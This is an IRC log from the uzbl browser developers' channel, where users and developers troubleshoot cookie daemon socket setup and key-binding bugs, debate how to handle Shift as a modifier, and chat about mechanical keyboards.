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17:30 < Masca> Well, the event_manager plugins is new for me. =P
17:31 < Masca> Now it "looks funny" when I press a move key "hjkl" it show itself in the panel and then do the move. I guess it's not suppoused to be like that.
17:32 < mason-l> Masca, Actually that could be improved upon.
17:33 < Masca> well even with that funny look, it rocks! =)
17:33 < mason-l> Masca, And you didn't have any problems with any of the commands?
17:34 < mason-l> I mean your old binds
17:34 < Masca> Now, one more thing. I switched to cookie_daemon.py and now I get "cookie_daemon.py: error: unknown argument '/home/salinasv/.config/uzbl/config'"
17:34 < Masca> mason-l: not the ones I quick tested.
17:36 < mason-l> Masca, Thats weird, the uzbl-browser doesn't give the cookie_daemon.py any arguments.
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17:37 < Masca> I get it every time a page request a cookie (or some cookie related event). Maybe is uzbl-core the one sending arguments to the daemon.
17:37 < mason-l> Masca, Sounds like you've set it up incorrectly in your config.
17:38 < mason-l> http://www.uzbl.org/wiki/cookie_daemon.py
17:38 < mason-l> "set cookie_handler = talk_to_socket $XDG_CACHE_HOME/uzbl/cookie_daemon_socket"
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17:40 < Masca> It was the "talk_to_socket" my bad, now I can't connect to socket =/ haha
17:40 < mason-l> Masca, It says "timeout something something"?
17:41 < Masca> Yup
17:41 < Masca> talk_to_socket: connect failed (Connection refused)
17:42 < Masca> s/yup//
17:42 < mason-l> Masca, http://paste.pocoo.org/show/139921/
17:43 < Dieterbe> mason-l: that's not a very clean solution
17:43 < Dieterbe> Masca: before you do that, checkif you have a stale socket file at $XDG_CACHE_HOME/uzbl/cookie_daemon_socket, if so delete it
17:44 < mason-l> Dieterbe, Its a very clean solution because calling the cookie_daemon directly (1) automatically detects any running daemon and exits (2) cleans any stale sockets if one has been abandoned.
17:45 < mason-l> I just cant seem to convince anyone of this ^
17:45 < Dieterbe> it's not because it causes spawning a new process everytime you invoke uzbl-browser. and also since you background it there's no guarantee that it's functional before you need it
17:46 < mason-l> Dieterbe, Theres a 500ms timeout for cookie requests in which the cookie daemon will be ready.
17:46 < Dieterbe> that's in uzbl-core?
17:46 < mason-l> yeah
17:46 < Masca> Dieterbe: deleting the file didn't work.
17:47 < mason-l> Masca, And you did as I suggested?
17:47 < Masca> Doing it.
17:47 < Dieterbe> mason-l: before he does it your way, why not learn something from this?
17:47 < Dieterbe> if he removes the socket, then uzbl-browser should start the cookie_daemon and all should be fine
17:47 < Dieterbe> if it's not, we can learn something about what's going wrong
17:48 < Masca> mason-l: didn't work.
17:49 < mason-l> Masca, Ok. Don't do as I suggested and try to launch the daemon with this command: "$XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py -vn start" in your terminal.
17:50 < Masca> mason-l: do you want me to nopaste the output?
17:50 < mason-l> Masca, Yeah
17:51 < Masca> http://paste.pocoo.org/show/139922/
17:51 < mason-l> Masca, Now run: "$XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py -vn restart"
17:52 < mason-l> This time the application shouldn't exit.
17:52 < Masca> Mmm and it looks like my "yank" binding got messed up.
17:52 < mason-l> Now start a uzbl-browser process.
17:52 < mason-l> And you should see some lines start flying by.
17:53 < Masca> nothing in the daemon output.
17:53 < Masca> and uzbl-browser say teh same "connect failed"
17:54 < mason-l> Masca, Can you nopaste the cookie daemon part of your config?
17:54 < mason-l> and make sure that its the _only one_ cookie_handler defined in the whole config.
17:54 < Masca> set cookie_handler   = talk_to_socket $XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py
17:54 < Masca> I have some others commented out.
17:54 < mason-l> Masca, Nope!
17:55 < mason-l> <mason-l> "set cookie_handler = talk_to_socket $XDG_CACHE_HOME/uzbl/cookie_daemon_socket"
17:55 < Masca> Shame on me!
17:56 < Masca> Sorry. hehe I'm just waking up. =/
17:56 < mason-l> Masca, Quite alright.
17:56 < mason-l> Masca, I take it that it is working now?
17:57 < Dieterbe> then you can revert your uzbl-browser to what it was :P
17:57 < Masca> Let me try gmail (as the important one) and facebook (as the second always failing).
17:57 < Masca> Dieterbe: I reverteed just after it didn't work. =P
17:57 < Dieterbe> ooh
17:58 < Dieterbe> the two most trickiest targets.. gmail and facebook
17:58 < mason-l> Masca, Theres some known problems with the fancy version of gmail but HTML mode works flawlessly.
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17:59 < Masca> Well. as a "bug report" in the new event oriented stuff. It get slow and even in insert mode it show what you type (my password) in the status bar.
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18:00 < mason-l> Masca, You are using the uzbl experimental branch, the mode plugin hasn't been written yet (which tells the other plugins not to echo keystrokes in insert mode!)
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18:02 < Masca> nice!
18:03 < Masca> And it looks like now I need to bind <Page_Up> and <Page_Down> =P
18:06 < Allive> Hi everyone, can anybody help me with new uzbl from experimental branch,
18:06 < Allive> when i bind something to key, example:
18:06 < Allive> event BIND o  = uri http://uzbl.org
18:06 < Allive> event BIND s  = scroll_vert 250
18:06 < Allive> and after pushing key "o" and after uzbl.org has been loaded
18:06 < Allive> my second binding doesn't work, output:
18:06 < Allive> [57531952] s
18:06 < Allive> [57531952] s
18:06 < Allive> [57531952] s
18:06 < Allive> [57531952] s
18:07 < mason-l> Allive, The event message order has changed
18:07 < mason-l> You need to re-build uzbl
18:09 < mason-l> Allive, Working?
18:10 < Allive> hm
18:10 < Allive> no
18:11 < mason-l> Allive, Check that when you run uzbl-core -v that it outputs "commit: 5e8224c60e..." at the top.
18:11 < Allive> 5e8224c60e887253669cd72ae0df5c343825c221
18:12 < mason-l> Allive, And you've copied the newest event_manager.py from /usr/share/uzbl/examples/data/uzbl/scripts/ to ~/.local/share/uzbl/scripts/ ?
18:12 < mason-l> And the plugins in usr/share/uzbl/examples/data/uzbl/scripts/plugins/ to ~/.local/share/uzbl/scripts/plugins/
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18:16 < Allive> ye, just did it
18:16 < mason-l> Does that mean it works now?
18:16 < Allive> but still doesn't work =(
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18:17 < mason-l> Allive, You still see "[57531952] s"'s when you press the s key?
18:18 < Allive> ye,s [1143514037]
18:19 < Allive> but i found this in output:
18:19 < Allive> BIND s  = scroll_vert 250
18:19 < Allive> Got custom event: ADDED_BIND (<Bind(glob='s', bid=2, command='scroll_vert 250')>,) {}
18:20 < mason-l> Allive, The fact that the bind was added successfully tells me that the ordering is now correct for you.
18:20 < mason-l> When you press "s" does the keycmd clear after you release?
18:22 < Allive> Oh, i've found the problem, it was my custom start/finish handler
18:23 < mason-l> Allive, So you don't see: http://dpaste.com/93912/
18:23 < mason-l> oh
18:23 < mason-l> ok
18:26 < Allive> and now i need your help with custom for example finish handler
18:26 < mason-l> Sure thing.
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18:27 < mason-l> Allive, pastebin the code and I'll help you figure it out .
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18:33 < Allive> for example:
18:33 < Allive> status="set status_format = \@[\@MODE]\@"
18:33 < Allive> echo "$status"|socat - unix-connect:"$5"
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18:37 < mason-l> Allive, Have you checked that $5 is the socket location? and why not just use the fifo (if the fifo $4?) echo "set status_format = \@[\@MODE]\@" > $4
18:37 < mason-l> s/if/is/
18:43 < Allive> yes $4 and $5 are correct
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18:50 < Allive> Uhh, echo to fifo works great, thanks
18:51 < Masca> mm do you know why my ":reader" bind is not working? Does it have something to do with the <:>:reader stuff?
18:54 < mason-l> Masca, Show me the bind event and I'll try it on my end.
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18:56 < Masca> request bind   :reader    = uri http://reader.google.com
18:56 < Masca> or did you mean this? http://pastebin.ca/1567241
18:58 < mason-l> Masca, For some reason the ":" key didn't send a KEY_RELEASE command apparently.
18:58 < mason-l> Because the <:> only shows up when the : is held down.
18:58 < Masca> Mmmm
18:58 < mason-l> Same with <Alt> or <BackSpace> or <a>
18:58 < mason-l> Because that command works on my PC
18:59  * Masca quick workaround :s/:/\/g
18:59 < Masca> ohh then it's a problem at my end?
18:59 < mason-l> Masca, I don't know.
19:00 < mason-l> Can you press escape then press and release ":" and pastebin the output for me
19:01 < Masca> http://pastebin.ca/1567243
19:02 < mason-l> Ooo
19:02 < mason-l> Thats interesting.
19:02 < Allive> event BIND d = keycmd :exit    works ?
19:03 < Masca> it is? jeje it doesn't make sense to me. =)
19:03 < mason-l> Allive, Just: event BIND :exit = exit
19:03 < mason-l> Masca, Yes very interesting.
19:03 < mason-l> Masca, Something I hadn't considered.
19:04 < Masca> "Shift"_R stuff?
19:04 < mason-l> Masca, You hold down the right shift key then press : but release the shift key before releasing the : key.
19:04 < mason-l> So the key thats released is not the same that went down.
19:04 < mason-l> I don't even know where to begin sorting that problem out.
19:05 < Masca> Ohh  jaja yeah
19:06 < mason-l> Masca, I can replicate it on my end also.
19:06 < Masca> then is a issue in my hands. =P
19:06 < Allive> oh, how to bind ctrl + d ?
19:06 < mason-l> Allive, event BIND <Ctrl>d = <command here>
19:07 < mason-l> Masca, Its a serious issue though!
19:07 < Masca> yeah if I write the ":" carefully it works.. jaja I'm a walking bug.
19:08 < Allive> and what about G (shift+g) ?
19:09 < mason-l> Allive, event BIND G = <command here>
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19:09 < Masca> event BIND G
19:10 < mason-l> Masca, I can replicate that same problem with Shift+Tab
19:11 < mason-l> And nodoubt any <,>.?/"':;}]{{|\!1@2#3$4%5^6&7*8(9)0_-+=`~
19:11 < Masca> Sure.
19:11 < Allive> hm, event BIND G  doesn't work
19:11 < rob|> brrr, odd
19:12 < rob|> we might need to send the complete modifier map on each keypress
19:12 < mason-l> rob|, Its a serious problem.
19:12 < ruskie> :)
19:12 < rob|> mason-l: definitly
19:13 < mason-l> Allive, Did you see something like: "Got custom event: ADDED_BIND (<Bind(glob='G', bid=10, command='<command here>')>,) {}" in the output somewhere?
19:14 < Allive> Got custom event: ADDED_BIND (<Bind(glob='G', bid=5, command='scroll_end')>,) {}
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19:16 < mason-l> Allive, When you press G do you see something like: "Sending via socket: 'scroll_end'" in the output?
19:16 < rob|> mason-l: wouldn't it be a solution to ignore KEY_RELEASE for typeable keys? i guess the only issue would be that we'd loose the ability to define those as modifiers
19:16 < Allive> and after pressing "G", it outputs this, when i trying other binding :
19:16 < Allive> Got custom event: KEYCMD_UPDATE (<Keycmd('<G>Gss')>,) {}
19:17 < mason-l> rob|, I was thinking the same
19:17 < mason-l> rob|, But <Shift-Tab> is still a problem?
19:17 < Allive> mason-l:
19:17 < Allive> Sending via socket: 'set keycmd = G'
19:17 < mason-l> Anything else?
19:18 < Allive> EVENT [314778900] KEY_PRESS Shift_L
19:18 < Allive> KEY_PRESS Shift_L
19:18 < Allive> EVENT [314778900] KEY_PRESS G
19:18 < Allive> KEY_PRESS G
19:18 < Allive> Sending via socket: 'set keycmd = G'
19:18 < Allive> Got custom event: KEYCMD_UPDATE (<Keycmd('<G>G')>,) {}
19:18 < Allive> EVENT [314778900] VARIABLE_SET keycmd str G
19:18 < Allive> VARIABLE_SET keycmd str G
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19:19 < mason-l> Allive, Can you pastebin long output instead of doing ^ that in the future please.
19:20 < Allive> ok
19:21 < mason-l> Allive, I see (and it works on my machine) http://dpaste.com/93935/
19:22 < mason-l> With: request BIND G = scroll_end
19:27 < rob|> mason-l: why is shift-tab a problem? shift-tab generates -> ISO_Left_Tab
19:27 < Allive> it's very strange, after pressing shift + anykey i got this:
19:27 < Allive> Got custom event: KEYCMD_UPDATE (<Keycmd('Asd')>,) {}
19:27 < Allive> and so on
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19:28 < mason-l> rob|, (1) Open uzbl-browser (2) Press shift (3) press tab (4) release shift (5) release tab -> <Shift-Tab> still registers as being held down.
19:29 < mason-l> Allive, Whats strange about it?
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19:29 < rob|> mason-l: sure, same thing as for all the other shift combinations
19:30 < mason-l> rob|, Not if we remove <a><b>c binding.
19:30 < mason-l> Then its only a <Shift-Tab> problem.
19:30 < Allive> mason-l: I have already sent down shift+a
19:30 < rob|> ok, now i see what you mean
19:30 < Allive> but he still think that i press it
19:31 < mason-l> Allive, I'm still not sure what the problem is, you expect the keycmd to clear when you release the shift key or something?
19:32 < rob|> mason-l: pragmatic solution: shift is not a modifier!
19:33 < Allive> mason-l:
19:33 < Allive> ok, i've pressed shift + a, release them, press b and it outputs:
19:33 < Allive> Got custom event: KEYCMD_UPDATE (<Keycmd('Ab')>,) {}
19:33 < Allive> and so on
19:33 < rob|> mason-l: or just handle tab specially like the typeable chars
19:33 < mason-l> Allive, Thats what it should do. The shift key isn't treated like the <Alt> or <Ctrl> keys
19:34 < mason-l> rob|, Can you make it register <Shift> & <Tab> from the uzbl-core end?
19:34 < mason-l> Instead of ISO_this_that
19:35 < rob|> like translating the ISO_foo thing to Tab?
19:35 < Allive> mason-l: but i've release shift, but it still think that i press shift
19:36 < Dieterbe> ideally, every key should be able to function as a modifier key. you know total freedom with when you press and release which keys.  but it's hard to define a simple dataformat for that
19:36 < mason-l> Allive, By that do you mean capital characters come out when you're not holding the shift key?
19:36 < mason-l> Dieterbe, I think it was way to ambitious on our behalf.
19:37 < mason-l> Dieterbe, Although I would like to keep it, the above problems highlight its crippling weaknesses.
19:37 < rob|> Dieterbe: it's not so much the data format
19:38 < Allive> mason-l: not capital, but keys sticks, i gave this after release shift key:
19:38 < Allive> Got custom event: KEYCMD_UPDATE (<Keycmd('asdssdawd')>,) {}
19:38 < Allive> for example
19:38 < rob|> Dieterbe: it's more a "sequencing" issue
19:39 < mason-l> Dieterbe or rob|: Do you know what Allive is trying to say?
19:40 < Allive> =(
19:40 < mason-l> Maybe I'm tired but I can't for the life of me figure it out.
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19:43 < Allive> 1. i press shift + any key, for example s
19:43 < Allive> 2 release all keys
19:43 < Allive> 3. and all keybindings now work
19:43 < Allive> 4. in output i can see: Got custom event: KEYCMD_UPDATE (<Keycmd('<S>Sssww')>,) {}
19:43 < Allive> or smthing like this
19:43 < Allive> 5. and after that after pressing any of keys, it added to this "queue":
19:43 < Allive> Got custom event: KEYCMD_UPDATE (<Keycmd('<S>Ssswwd')>,) {}
19:43 < Allive> Got custom event: KEYCMD_UPDATE (<Keycmd('<S>Ssswwd')>,) {}
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19:43 < Allive> and so on
19:43 < Allive> i hope now you understand
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19:45 < mason-l> Allive, And the problem goes away when you (1) press shift (2) press they key (3) release the key (4) release shift?
19:45 < mason-l> Your problem might be the same problem we are discussing right now.
19:45 < mason-l> Allive, Obviously re-run uzbl before trying the above.
19:48 < Allive> oh..when i press shift + key
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20:00 < Dieterbe> rob|: explain.. 'sequencing' issue?
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20:06 < Dieterbe> "xdotool type --delay 0 --clearmodifiers "$(xsel -bo)"" alt+Insert
20:06 < Dieterbe> oops
20:06 < Dieterbe> sorry about that
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20:13 < mason-l> Night guys.
20:14 < mason-l> I'm having an early one tonight.
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20:22 < Dieterbe> good night mason-l 
20:24 < rob|> Dieterbe: re, sequencing:  start uzbl-core, press Shift, press :, release Shift, release : -> watch the output of KEY_PRESS and KEY_RELEASE
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20:29 < rob|> Dieterbe: it's a problem cause the EM does rely on KEY_PRESS and KEY_RELEASE to determine wether a key should be treated as modifier or not
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21:55 < ertai> Is there a shorter way to do: request BIND gu = sh 'echo "set uri = $(dirname $6)" > $4'
21:55 < ertai> something like request BIND gu = set uri = @...
21:58 < scj> don't think it gets shorter than: request BIND gu = sh 'echo "uri $(dirname $6)" > "$4"'
22:02 < bct> can't you do set uri = @(dirname "@uri")@
22:02 < bct> ?
22:05 < ertai> Is there a documentation on the @expanding feature ?
22:05 < bct> check the README
22:06 < bct> under "variable expansion"
22:07 < bct> oooh, there's some stuff that needs to be backticked in that section
22:07 < bct> it's screwing up the display on http://www.uzbl.org/readme.php
22:08 < ertai> bct: thx
22:08 < bct> does it work?
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22:17 < ertai> bct: nop but <<request BIND gu = set uri = @(sh -c 'dirname "@uri"')@>> does
22:18 < ertai> I think that @(...)@ should call a shell
22:18 < ertai> to behave closely as $(...)
22:20 < bct> it doesn't call a shell?
22:21 < bct> it's been a while since i looked at that code.
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22:23 < Dieterbe> rob|: 
22:23 < Dieterbe> rob|: in my keyboard layout i need to hold shift (or use capslock) to get a ':' character
22:24 < Dieterbe> so i tried doing what you said with another character
22:24 < Dieterbe> but i didn't get what you were trying to say
22:25 < rob|> yeah, press == hold
22:26 < Dieterbe> yeah i did
22:26 < Dieterbe> press-hold shift, press-hold ;, then release in same order
22:26 < rob|> anyways, to make it short KEY_PRESS will register ':' while KEY_RELEASE will register '.'
22:26 < Dieterbe> i get the events i expect
22:26 < Dieterbe> ah because in your layout '.' is shift+':' i guess
22:27 < rob|> not if you release shift before relesing the other key
22:27 < rob|> ah, right exactly
22:27 < Dieterbe> yeah i get it now. tricky issue indeed
22:27 < rob|> well you can actually try that with any char
22:28 < Dieterbe> indeed. get it now
22:28 < rob|> ok
22:28 < Dieterbe> any idea how to handle this? go to raw keycodes afterall?
22:28 < rob|> no, that won't help
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22:28 < Dieterbe> or at least something that is not "processed" with the effects of modifier keys
22:29 < rob|> best bet is to ignore KEY_RELEASE (i.e. just as the internal key parser used to work)
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22:29 < rob|> this has a negative impact, though
22:29 < rob|> we loose the ability to use any char as modifier
22:31 < Dieterbe> well.. crap
22:32 < Masca> What about not letting SHIFT_* be a modifier and just get the char?
22:33 < rob|> Masca: also possible, but that sucks.
22:33 < rob|> i mean shift is a modifier after all
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22:34 < rob|> so, we can either ignore release events fortypeable chaars or only allow non-shifted chars as modifiers
22:34 < Dieterbe> or is it possible to "calculate" the "base" char (what it would be without any modifiers) on key_releases?
22:35 < rob|> hmm, cosidering all those different layouts i don't think this would be an easy task if possible at all
22:35 < Dieterbe> ok
22:35 < Dieterbe> what did you mean with 'only allow non-shifted chars as modifiers' ? with 'shifted' you mean a character that becomes another one because of shift/capslock, right?
22:36 < rob|> but, as the EM tracks the sequence of pressed and released chars lowercase (i.e. non-shifted) modifieres should be implementable
22:37 < rob|> so if you get a "key_release x" but haven't recorded a "key_press x" you can assume what's going on
22:38 < Dieterbe> i have a few q's about this, but we'll talk tomorrow i'm off
22:38 < rob|> alright
22:38 < Dieterbe> night all
22:38 < rob|> night dieter
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22:54 < ertai> When I go to calendar.google.com I get the mobile version, any clue ?
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23:50 < ebb> hello , is there an easy way to select text in uzbl with keyboard ?
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23:51 < ebb> something simular to 'yank to' or v mode in vim ?
23:52 < YamiFrankc> I want to start using uzbl :3
23:52 < ebb> or do i have to make the functionality :P
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00:00 < bct> ebb, i don't think that exists yet.
00:00 < ebb> oki i gonna make it :)
00:00 < ebb> well bassic functionality of it
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00:15 < soulcatcher> ?
00:15 < soulcatcher> whoops
00:15 < ebb> =o
00:27 < ertai> g night all
00:35 < ebb> night
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06:48 < mason-l> Afternoon people.
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06:54 < ruskie> good morrow all
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08:09 < bandito85> morning! after the last update, my bookmarks no longer work. dmenu starts with the list of bookmarks avalible but when I select the one I want to go to and press enter nothing happens. any hint is highly appreciated.
08:22 < mason-l> bandito85, Last update to what? Are you running uzbl from the master repo or experimental repo?
08:22 < bandito85> master
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08:37 < bandito85> Im going to stick with 2009.08.26 for now, cos Im a bit thin on time with exams and all :P
08:38 < mason-l> bandito85, What ever works for you, sorry I couldn't help with your current problem (I was hoping someone else would jump in).
08:40 < bandito85> mason-l: np at all im going to look into it in about 2 weeks from now, ty for your help
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09:02 < mason-l> Dieterbe & rob|: Pull request when you get online: http://github.com/mason-larobina/uzbl/commit/3702a07d3bdbc45f6bc31a70b528a9c51d82929b
09:02 < Dieterbe> hey a mason-l 
09:02 < mason-l> Hey Dieterbe.
09:04 < mason-l> I've fixed those bugs we found last night by removing "<a><b>c" binding and introduced special case for the <Shift-Tab> mod.
09:04 < mason-l> But I'm off right now to grab some food, brb.
09:04 < Dieterbe> oh now i'm curious
09:06 < Dieterbe> so now the problems with shift/capslock as modifier key are gone? and you can use any key as modkey?
09:13 < mason-l> Dieterbe, The problems are gone by NOT making any key a modkey only modkeys.
09:13 < mason-l> :)
09:15 < Dieterbe> what's the harm in making for example 'a' or 's' a modkey?
09:16 < mason-l> Why not just: "set modkey = a" & "request BIND ${modkey}xyz = <command>"
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09:18 < Dieterbe> you can do that?
09:19 < mason-l> Ooops I mean "set modkey = a" & "request BIND @{modkey}xyz = <command>"
09:19 < mason-l> Dieterbe, Yeah I think rob| added it last night.
09:19 < Dieterbe> so.. this is effectively making any key a modkey, which you just said is not possible
09:20 < mason-l> Dieterbe, Theres no magic to it but the one limitation is that it wont be working on held normal keys anymore.
09:20 < mason-l> So <a> -> a
09:21 < Dieterbe> meaning?
09:22 < mason-l> You used to be able to press and HOLD a normal key (which looks like <a>) if its not in modcmd mode Allowing you to use normal keys as modkeys like: "<a><b>xzy = <command>"
09:22 < mason-l> But now you will have to use: "abxyz = <command>"
09:23 < ruskie> this is getting very confusing
09:23 < Dieterbe> so this is more like a command in the old uzbl where you typed a few chars after each other
09:23 < mason-l> Dieterbe,
09:23 < mason-l> Yeah
09:24 < mason-l> (whoops, pressed return by accident)
09:25 < Dieterbe> and why is it not possible to use 'a' as a "real" modifier?
09:26 < mason-l> Because its impossible to track normal keys as modifiers when the shift key is involved.
09:26 < Dieterbe> what does "set modkey = a" & "request BIND @{modkey}xyz = <command>" OR "<a><b>xzy" have to do with shift?
09:26 < mason-l> I.e. Try this without the latest commit: (1) press shift (2) press a (3) release shift (4) release a (5) "A" still registers as held.
09:27 < Dieterbe> yes but why not make a rule "if you want to use any character as modkey, do not involve shift" ?
09:27 < mason-l> Because you cant have normal keys as modkey bindings without supporting <A><B>c as well.
09:27 < mason-l> Dieterbe, O_O
09:28 < Dieterbe> so? if shift is not involved this is no problem
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09:28 < mason-l> That means we will need to start tracking shift keys as well to make sure.
09:28 < mason-l> I really didn't want to do that.
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09:29 < mason-l> Its way too many hoops to jump through to make it partially work.
09:29 < Dieterbe> no we don't
09:29 < Dieterbe> just tell our users: "IF you want to use misc characters - such as 'a', do not involve 'Shift' in your binding"
09:29 < Dieterbe> this is very reasonable
09:29 < mason-l> Yeah we will because you cant do a simple str.lower('>')
09:30 < Dieterbe> we don't _need_ to str.lower('>') if shift is not involved. that's my whole point
09:30 < mason-l> Dieterbe, So you would limit it to only lower-case alpha keys?
09:31 < ruskie> why would you need to handle shift at all?
09:31 < ruskie> don't you just get A or a
09:31 < ruskie> ?
09:32 < ruskie> depending on what the user hits?
09:32 < mason-l> ruskie, Because you get a KEY_PRESS A & KEY_RELEASE a
09:32 < Dieterbe> as far as i'm concerned they can use capslock to bind uppercase keys as modkeys. but normally you only have like 6 modkeys in Xorg (which are hard to reach).  we can add 26 to those (all lowercase chars) who are _easy_ to reach. i think that's more then enough
09:32 < ruskie> and on what do you act?
09:32 < mason-l> If you don't order the shift+a precisely.
09:33 < ruskie> so this is what uzbl is sending right?
09:33 < mason-l> ruskie, yeah.
09:34 < ruskie> hm wouldn't it be better to send the raw keypress/release like what X gets? or is that not possible?
09:34 < Hyperion2010> is it normal for uzblctrl to up and disapear?
09:34 < mason-l> ruskie, Talk to rob| about that, apparently its a bit more complicated than that.
09:34 < mason-l> Hyperion2010, its been removed.
09:35 < mason-l> Hyperion2010, Use socat instead.
09:35 < Hyperion2010> ok
09:35 < Dieterbe> mason-l: did you understand what i just said?
09:35 < ruskie> mason-l, hmm just thinking how fvwm has it done
09:36 < Hyperion2010> yay another thing to add to my ebuild
09:36 < mason-l> Dieterbe, Yes I did but I'm reluctant to add support for ONLY lower alpha keys.
09:36 < rob|> morning.
09:36 < ruskie> Key T           A       MC2     Exec exec urxvt <-- what key , where it applies(A - all), modifiers(M - meta C - ctrl 2 - numlock)
09:36 < mason-l> Hey rob|: the saga continues.
09:36 < rob|> hehe
09:36 < Dieterbe> mason-l: why? do you really think people need _more_ modkeys then what you get from X + all lowercase? i think that's more then enough
09:37 < Dieterbe> besides, using 2 modkeys (char+shift) kills your fingers
09:37  * ruskie tends to use alt+ctrl a LOT
09:37 < ruskie> or ctrl+alt if you want
09:37 < ruskie> and it's easy to press
09:37 < Dieterbe> how do you press that without moving your complete hand?
09:37 < ruskie> I mash the ctrl with the edge of the palm, alt with the thumb on the same palm and then just need to hit the other key
09:38 < mason-l> Dieterbe, Personally I think <Alt><Tab><Shift-Tab><BackSpace><Space><Escape><Return><F1..12><End><Home><PageUp><PageDown><...>.. is more than enough.
09:38 < rob|> guys, as mason said _only_ "shifted" keys are an issue
09:38 < ruskie> rob|, he did???
09:38 < ruskie> Dieterbe, and ctrl+shift is easy as well... same mash then pinky to hit the shift ;)
09:38 < Dieterbe> ruskie: oh that's a pretty cool trick.  i should experiment more with using the palm
09:39 < ruskie> I just got so used to it over the years I don't even notice all the pressing ;)
09:39 < Dieterbe> mason-l: no, because all of those keys are hard to reach.  that's the point why i want to use 'a' as a modkey. it's on my home row
09:39 < mason-l> Dieterbe, Just start the command with "a" then?
09:40 < Dieterbe> mason-l: that's not a modkey.  i cannot use that when in insert mode for example
09:41 < mason-l> Dieterbe, Its way too impractical to have it used in insert mode anyway.
09:41 < ertai> But in insert mode, if I hold 'a', I expect it to print aaaaaaaaaaaaaaaaaaaaaaaaaaaa
09:42 < mason-l> I mean what if I type really fast and accidentally start pressing the new key before the old?
09:42 < mason-l> ertai, Theres that too!
09:42 < ruskie> and it's not a full palm but just the pad under the pinky at that... I tend to have huge keyboards since I have large fingers
09:42 < mason-l> Especially seeing as my key-repeat setting is off the chart.
09:42 < Dieterbe> ah yes good point ertai . damn..
09:42 < mason-l> ruskie, I was about to ask if you had really small hands :)
09:42 < ruskie> nope :)
09:43 < ertai> In some sense, some keys must have effect on their KEY_PRESS event, not the KEY_RELEASE one
09:44 < ruskie> http://www.trust.com/products/product.aspx?artnr=15036 <-- this is the keyboard I use(I have 3 of them, one at home one at work and one spare) and the benefit is that all the keys are same height so easy to swap around and no curve just a slant ;)
09:44 < ruskie> I don't use any of the "media" keys though
09:45 < mason-l> ruskie, This is the keyboard I have: http://www.matias.ca/tactilepro2/index.php
09:45 < mason-l> The optimize key is a pretty shitty feature but I love the sound the keys make when I press them.
09:46 < Dieterbe> hmm ertai just made me realise using any key as a modkey is not feasible at all, anywhere :(
09:46 < mason-l> I've got the black model.
09:49 < ruskie> hm can't get any of the pics...
09:49 < ruskie> stuff simply doesn't want to load up properly in uzbl for me
09:50 < ruskie> I wouldn't want to rely on the optimize key myself
09:50 < mason-l> ruskie, Works for me.
09:50 < mason-l> I never use it.
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09:51 < ruskie> ahh
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09:52 < rob|> http://storage.g-lenerz.de/images/sgistuff/key_granite.jpg  <-- my favourite keyboard, though i'm using a cherry G320, too
09:52 < mason-l> rob|, Thats the reason I got mine, the keyswitch keys.
09:53 < rob|> well, i love the click-click-click of the sgi granite keyboard ;)
09:54 < Dieterbe> keyswitch key?
09:54 < mason-l> Dieterbe, Yeah instead of the plastic dome like pressure pads that modern keyboards use each switch is a physical switch.
10:02 < ruskie> the one I would like to have is an IBM Model M ;)
10:03 < mason-l> I had a Model M as a kid.
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10:04 < ruskie> you managed to destroy it?
10:04 < mason-l> ruskie, Lost it somehow.
10:04 < ruskie> :(
10:04 < ruskie> I get one but it was already nuked when I got it :(
10:05 < ruskie> now I have it stored in case I ever get another as spare parts
10:06 < mason-l> ruskie, Looks like theres a few on ebay, have you tried to purchase one?
10:07 < ruskie> I don't use ebay ;)
10:07 < ruskie> I'll probably get one of the remakes from clickykeyboards or what's that site...
10:07 < ruskie> if I ever bother
10:07 < ruskie> the keyboards I currently have are great as well from what I can tell
10:08 < ruskie> which reminds me need to do some maintenance on them sometime...
10:09 < ruskie> cleaning all the dirt and grime from them...
10:09 < mason-l> I'm going to paint over my keys soon to make it look like the happy hacking keyboard: http://en.wikipedia.org/wiki/File:Happy_Hacking_Keyboard_Professional_2.jpg
10:09 < ruskie> lol
10:10 < ruskie> don't paint
10:10 < mason-l> They dont sound too bad either: http://www.youtube.com/watch?v=t1XBmmsP2gI
10:10 < ruskie> use a grinding tool to grind down the paint
10:10 < ruskie> chances are it's just a thin layer
10:11 < mason-l> I would damage the keys too much trying to grind the symbols off.
10:11 < ruskie> though vinyl paint should work I guess
10:12 < ruskie> though frankly I like symbols on the keys
10:12 < ruskie> especially for those times when I'm to lazy to touch type
10:17 < ruskie> I SOOO wish I could get rid of outlook at our users...
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10:34 < mason-l> Dieterbe, So can you pull in my patch that fixes those problems?
10:34 < Dieterbe> not now
10:36 < rob|> playing around with the expansion approach we talked about yesterday, there's quite a few places that need to be changed :(
10:36 < rob|> right now i'm in segfault land..
10:36 < mason-l> rob|, To allow us to "set bind = request BIND" then "@bind ZZ = exit" ?
10:36 < rob|> yep
10:36 < mason-l> Nice :D
10:37 < rob|> that particular one does work, though there are a couple of other cases that don'r, yet
10:37 < mason-l> rob|, Is there some nice tutorials out there to teach someone how to use gdb?
10:37 < mason-l> rob|, How so?
10:38 < rob|> well, i just didn't change every occurence of expand, yet
10:38 < rob|> this might take some time to get it right...
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10:44 < rob|> hah, interesting '@foo anything here' works, while '@foo' segfaults
10:44 < mason-l> :D
10:52 < rob|> i guess we're missing an EOS '\0' somewhere
11:01 < ertai> Here the keyboard I use http://www.typematrix.com/ezr2030/dvorak.html except when using my laptop
11:02 < ruskie> nice
11:02 < ruskie> don't think I'd be able to use that effectively
11:02 < ruskie> I could probably do with a split keyboard though... so I could have my hands further appart
11:04 < mason-l> ertai, Now that is an interesting keyboard!
11:09 < rob|> so, error found. now it's time to get the expansion order/steps right
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11:22 < rob|> btw, in the process of making the expansions work i will also get rid of the requirement of commands not having trailing whitespace
11:23 < rob|> so you'll be able to nicely align things
11:26 < Dieterbe> you'll win some hearts with that
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11:31 < bjoernfan> ertai: Hey, get a Kinesis instead. ;)
11:32 < bjoernfan> Kinesis is a keyboard I can really recommend.
11:32 < bjoernfan> Kinesis Advantage that is.
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11:36 < ertai> bjoernfan: I've now problem with my typematrix, and have no desire to change
11:36 < ertai> Is there some mac guru here
11:39 < ertai> I want to make uzbl my default browser, but only .app works
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11:44 < bjoernfan> ertai: Not trying to flame or anything, but if you get the chance, you should really try a Kinesis Advantage, imo it's much better than TypeMatrix. :)
11:44 < bjoernfan> </off topic>
11:50 < ertai> bjoernfan: is there a model in dvorak or only the querty/dvorak switching thing
11:51 < bjoernfan> ertai: dvorak switching thing? I've got two QWERTY models, you're not supposed to be looking at the keyboard anyway. :)
